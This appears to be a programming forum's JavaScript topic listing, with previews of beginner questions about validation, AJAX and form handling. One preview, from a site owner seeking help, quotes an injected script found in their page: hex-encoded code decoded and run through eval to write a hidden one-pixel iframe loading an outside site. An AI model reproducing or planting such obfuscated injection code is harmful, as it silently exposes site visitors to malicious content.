15,127 Topics
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 | Hi guys., I have a textbox for entering URL. I validate that URL using regular expression. Now the problem is, How do i know whether the entered URL is exist or not.? For example, if user enter "http://www.daniweb.cam" rather entering "http://www.daniweb.com", how do i intimate them that the entered url …  |
 | So for the record I'm using wordpress but you don't need to know wordpress in order to help me with this. This is my first AJAX attempt and [U]I read through W3schools[/U] and understand a good portion of how it works in theory but haven't found any close enough working … |
| | Hi all This won't validate!! any suggestions? it for some reason doesn't call the ValidateFrom function... so the error lies either with the manner in which i'm calling the javascript functions or the javascript itself. [CODE] <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <link href="style.css" rel="stylesheet" type="text/css"> <title>User Details</title> … |
| | Ok i'm trying to build a forum with jquery ajax characteristics. Below is the html/jquery coding. And i know jquery is loaded because I did the [ICODE]alert(1);[/ICODE] inside the document ready and it worked. [CODE] <!doctype> <html> <head> <title>Shouts!</title> <script src="jquery.js"></script> <script> $(document).ready(function() { $("#messages").load(function('loadchat.php'); $("#post").submit(function(){ return false; }); }); … |
| | Hello! Just started learning javascript: anyway just messing around trying to make a program where you enter a value into each of the two prompt boxes and the multiplied value of the two is show. I've got this: [CODE]function showprompt() { r=prompt("Enter first number:",""); if(r!=null && r!="") { x=r; } … |
| | Hi! So here's the deal: I have this style switcher which is awesome, therefore, the cookie does not seem to work, actually it simply doesn't. I'm sure someone can figure this out for me, that would save me! [CODE]<script type="text/javascript"> // *** TO BE CUSTOMISED *** var style_cookie_name = "style" … |
| | Guys plz need a help. I have index page [CODE] <form id="form1" name="form1" method="get" action="show.php"> <select name="cg" onchange="SearchC();" id="catG" > <option value="1" >ВСЕ КАТЕГОРИИ</option> <option value="2"<? if($pcat=="2")echo "selected='selected'"; ?>>subject</option> <option value="3" <? if($pcat=="3")echo "selected='selected'"; ?>>faculty</option> <option value="4" <? if($pcat=="3")echo "selected='selected'"; ?>>lecture</option> </select> </form> [/CODE] then [CODE] function SearchC() { var … |
| | After running the script for quite a few days, I find a few extra lines of code added at the end of the file, <script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6c6f63756d7265736f75726365732e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script> And error is shown when i try to visit the home page. The site address is : [url]www.pipilika.com[/url] Any solution. |
| | i've been searching google and all i see is with button snippets ...can someone help me on how to multiply two textbox and displaying it to third texbox without using button ?.. |
| | hi all, I am developing a blog where in the administrator controlled panel I can view users comments in a table format. the problem is now i want to view a link to edit page when i bring the mouse pointer to on a comment then i wish to click … |
| | So I have a piece of code that is run as a bookmarklet that I am trying to edit, but I am unable to get it to work. The code checks for the presence of a button (the Awesome Button) and then clicks it every 15s, until the page is … |
| | I have a drop down box of a fixed width. That drop down box needs to contain some values that are longer than the desired width. I'm happy for those values to be truncated, but I would like to display the full text in a tooltip (one that I could … |
| | I have a little problem here. I know its one of those easy things that is leaving me scratching my head, but I just can't figure it out. The homework assignment is to create a guess game. The user has to guess last year's best motion picture (The King's Speech … |
| | Dear Friends, Am trying to builing a social networking site that user can post his update on profile text bat. Once we click on the share button the text field value will pass to the function of xmlHTTP request, but here is not passing a value. Please help me. I … |
| | Hi all, I tried to do a CAPTCHA "error message - I would like an error message (pop up) show on the first page (checkForm.php) when user entered a wrong code/secureimage. At the moment the error message showing on the next page (processFrom.php) which isn't really what I want. Can … |
 | I've come up with this code and cant figure out why nothing appears when I press the button. The table is soposed to show. Probably something really simple cuz I often stuck on stupid things. [HTML]<html> <head> <script type="text/javascript"> function appendtable() { var div = document.getElementById("divide"); var ControlsDesign = document.createElement("div"); … |
| | I'm trying to populate the city select box based on the selected state (which is also a select box) using Ajax. When i select state, the city select box is not being populated. There are 5 models below: Student, MerryParent, MerryClass, State, City. All of them are related to one … |
| | Hi good day! I just want to know on how to center a new page window when click.. I have this java script below but it appears on top left. I want it to appear center of the screen on even in different resolution! [code=javascript] <a href="javascript:void(window.open('http://localhost/nonescostmpc/accnt_login.php','','width=350,height=220,left=0,top=0,resizable=no,menubar=no,location=no,status=no,scrollbars=no'))"> [/code] thank you! |
| | hi all, I have built search form that it retrieves information from database. for ex: when i click axtar (search) button it retrieves normally but when i click ENTER button via keyboard instead of axtar (search) button but it only displays results with white blank page here is web page … |
| | Hello, I'm trying to access a value from an input form. I know this works without the onkeyup event but with it it says the that document.formname.elementid.value is undefined! Its extremely frustrating. As the user types into the input, I am using AJAX to generate some more options which works … |
| | I'm using javascript for my client validation and I would like this to work the way I wanted to. I have three textboxes for last name, middle name and firstname. All the fields are mandatory and if the form is submitted there would be an error to display below the … |
 | I've got this scrolling marquee code to work on this page: [url]http://www.jamball.com/2011/07/club-teams.html[/url] [B]but it goes crazy in IE[/B]. [COLOR="Red"]I know IE sucks[/COLOR], but over 40% of our customers use it. Is there a way to fix the script, or must I scrap the entire idea? There is a table in … |
| | The problem that I'm having can be seen on this test page: [url]http://science.nature.nps.gov/im/1test.cfm[/url] We have a new mandatory Cold Fusion server-side redirect process for linking to external sites. We have some off-site links that use javascript drop-down menus that required a javascript work-around to work correctly with IE. The javascript … |
| | I am a VB.net programer and I am very new to PHP HTML and Java Scripts I am doing a project for my company using PHP HTML and Java Scripts and I want to Know how to make readonly a text box after it gets the input This text box … |
| | Hi all, I found a slider that works quite good out of the box with the exception of one thing, sizing images to their proper size instead of default to the smaller size. I will most likely need to add various widths so I hope to have it display them … |
| | I have two scripts. The first script creates a row in a table: [CODE] function addRow(tblId) { if(counter == limit) { alert("You cannot add more than " + limit + " passages!"); } else { var tblBody = document.getElementById(tblId).tBodies[0]; var newNode = tblBody.rows[0].cloneNode(true); tblBody.appendChild(newNode); counter++; } } [/CODE] ... the … |
| | I am trying to write a script that will update my database(s) without the user having to click any buttons. I also want the update to occur whenever a field is modified in the form. So here is an example form [CODE] <form> <input type="text" name="fieldone" value="currentvalfromdb" onChange="updateDB()" /> <select … |
| | I have a textbox named "txtMoney" I want to validate this textbox using javascript. And its validation criteria are as follows [LIST] [*]Negative number is not allowed [*]All numerics. No letters [*]Only two digits after decimal [*]Maximum 12 digits including decimal [/LIST] How can i do this. |
 | Let's say this is an unknown error, possibly a syntax error, possibly an HTML error - I can't be sure. Hey there, I'm a PHP expert, but not so well with JQuery - I'm just starting out with JS in general. I have a PHP based site I am working … |
| | I know I am doing this right but it just doesn't work. The condition for radiobutton that if it's not checked then an alert should display. But it won't work! [CODE]<script> function valid() { var element = document.forms["form"]["gender"]; var check = false; for(i=0;i<=element.length;i++) { if(element[i].checked) { check = true; break; … |
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